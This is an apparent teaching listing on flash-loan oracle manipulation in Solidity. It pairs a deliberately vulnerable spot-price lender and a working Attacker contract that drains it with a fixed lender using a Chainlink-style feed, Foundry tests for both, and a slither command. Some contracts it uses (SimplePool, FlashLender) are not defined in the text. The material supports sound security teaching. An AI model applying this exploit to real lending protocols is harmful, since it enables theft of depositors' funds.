Flash loan attacks and oracle manipulation in Solidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// Same interface as Chainlink's AggregatorV3Interface (@chainlink/contracts).
interface AggregatorV3Interface {
    function decimals() external view returns (uint8);
    function latestRoundData()
        external
        view
        returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}

abstract contract Lender {
    IERC20 public immutable col;
    IERC20 public immutable usd;
    mapping(address => uint256) public collateral;
    mapping(address => uint256) public debt;

    constructor(IERC20 _col, IERC20 _usd) {
        col = _col;
        usd = _usd;
    }

    // USD value of 1 COL, 18 decimals.
    function colPrice() public view virtual returns (uint256);

    function depositAndBorrow(uint256 colAmount, uint256 usdAmount) external {
        col.transferFrom(msg.sender, address(this), colAmount);
        collateral[msg.sender] += colAmount;
        debt[msg.sender] += usdAmount;

        // Borrow up to 50% of the collateral value.
        uint256 value = (collateral[msg.sender] * colPrice()) / 1e18;
        require(debt[msg.sender] <= value / 2, "undercollateralized");

        usd.transfer(msg.sender, usdAmount);
    }
}

// THIS CONTRACT CONTAINS A BUG. DO NOT USE.
contract VulnerableLender is Lender {
    SimplePool public immutable pool;

    constructor(IERC20 _col, IERC20 _usd, SimplePool _pool) Lender(_col, _usd) {
        pool = _pool;
    }

    // Spot price from current pool reserves: one large swap moves it.
    function colPrice() public view override returns (uint256) {
        return (pool.reserveUsd() * 1e18) / pool.reserveCol();
    }
}

contract Attacker is IFlashBorrower {
    FlashLender public immutable flash;
    SimplePool public immutable pool;
    Lender public immutable lender;
    IERC20 public immutable col;
    IERC20 public immutable usd;

    constructor(FlashLender _flash, SimplePool _pool, Lender _lender) {
        flash = _flash;
        pool = _pool;
        lender = _lender;
        col = _pool.col();
        usd = _pool.usd();
    }

    function attack(uint256 loanAmount) external {
        flash.flashLoan(this, loanAmount);
    }

    function onFlashLoan(uint256 amount) external {
        require(msg.sender == address(flash), "only flash lender");

        // 1. Buy COL with the loan. The pool's COL price goes up.
        usd.approve(address(pool), amount);
        uint256 colBought = pool.swap(usd, amount);

        // 2. Post our own COL at the pumped price and borrow everything the lender holds.
        uint256 own = col.balanceOf(address(this)) - colBought;
        col.approve(address(lender), own);
        lender.depositAndBorrow(own, usd.balanceOf(address(lender)));

        // 3. Sell the COL back. The pool price returns to where it was.
        col.approve(address(pool), colBought);
        pool.swap(col, colBought);

        // 4. Repay the loan. The borrowed USD stays with us.
        usd.transfer(address(flash), amount);
    }
}

contract FixedLender is Lender {
    AggregatorV3Interface public immutable feed;
    uint256 public constant MAX_DELAY = 1 hours; // set from the feed's heartbeat

    constructor(IERC20 _col, IERC20 _usd, AggregatorV3Interface _feed) Lender(_col, _usd) {
        feed = _feed;
    }

    // Price from an oracle network, not from a pool the borrower can trade against.
    function colPrice() public view override returns (uint256) {
        (, int256 answer,, uint256 updatedAt,) = feed.latestRoundData();
        require(answer > 0, "bad price");
        require(block.timestamp - updatedAt <= MAX_DELAY, "stale price");
        return uint256(answer) * 10 ** (18 - feed.decimals());
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {
    SimplePool, Lender, VulnerableLender, FixedLender, FlashLender, Attacker, AggregatorV3Interface
} from "../src/Lenders.sol";

contract Token is ERC20 {
    constructor(string memory name) ERC20(name, name) {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

// Stands in for a Chainlink COL/USD feed with 8 decimals.
contract MockFeed is AggregatorV3Interface {
    int256 public answer;
    uint256 public updatedAt;

    function set(int256 _answer, uint256 _updatedAt) external {
        answer = _answer;
        updatedAt = _updatedAt;
    }

    function decimals() external pure returns (uint8) {
        return 8;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        return (1, answer, updatedAt, updatedAt, 1);
    }
}

contract FlashLoanTest is Test {
    Token col = new Token("COL");
    Token usd = new Token("USD");
    SimplePool pool = new SimplePool(col, usd);
    FlashLender flash = new FlashLender(usd);
    MockFeed feed = new MockFeed();

    function setUp() public {
        vm.warp(1_800_000_000);

        // Pool: 1,000 COL and 100,000 USD, so 1 COL = 100 USD.
        col.mint(address(this), 1_000e18);
        usd.mint(address(this), 100_000e18);
        col.approve(address(pool), type(uint256).max);
        usd.approve(address(pool), type(uint256).max);
        pool.addLiquidity(1_000e18, 100_000e18);

        // Flash lender holds 900,000 USD. The oracle also says 100 USD.
        usd.mint(address(flash), 900_000e18);
        feed.set(100e8, block.timestamp);
    }

    function _newAttacker(Lender lender) internal returns (Attacker attacker) {
        usd.mint(address(lender), 200_000e18); // deposits from other users
        attacker = new Attacker(flash, pool, lender);
        col.mint(address(attacker), 100e18);   // attacker's own COL, worth 10,000 USD
    }

    function test_flashLoanDrainsVulnerableLender() public {
        VulnerableLender lender = new VulnerableLender(col, usd, pool);
        Attacker attacker = _newAttacker(lender);
        attacker.attack(900_000e18);

        assertEq(usd.balanceOf(address(lender)), 0);              // 200,000 USD gone
        assertEq(usd.balanceOf(address(attacker)), 200_000e18);   // for 100 COL
        assertEq(lender.colPrice(), 100e18);                      // pool price is back to 100
    }

    function test_fixedLenderRejectsTheSameAttack() public {
        FixedLender lender = new FixedLender(col, usd, feed);
        Attacker attacker = _newAttacker(lender);

        vm.expectRevert(bytes("undercollateralized"));
        attacker.attack(900_000e18);

        assertEq(usd.balanceOf(address(lender)), 200_000e18);     // deposits stay
    }

    function test_fixedLenderRejectsStalePrice() public {
        FixedLender lender = new FixedLender(col, usd, feed);
        feed.set(100e8, block.timestamp - 2 hours);
        vm.expectRevert(bytes("stale price"));
        lender.colPrice();
    }
}

slither . --filter-paths "lib|test"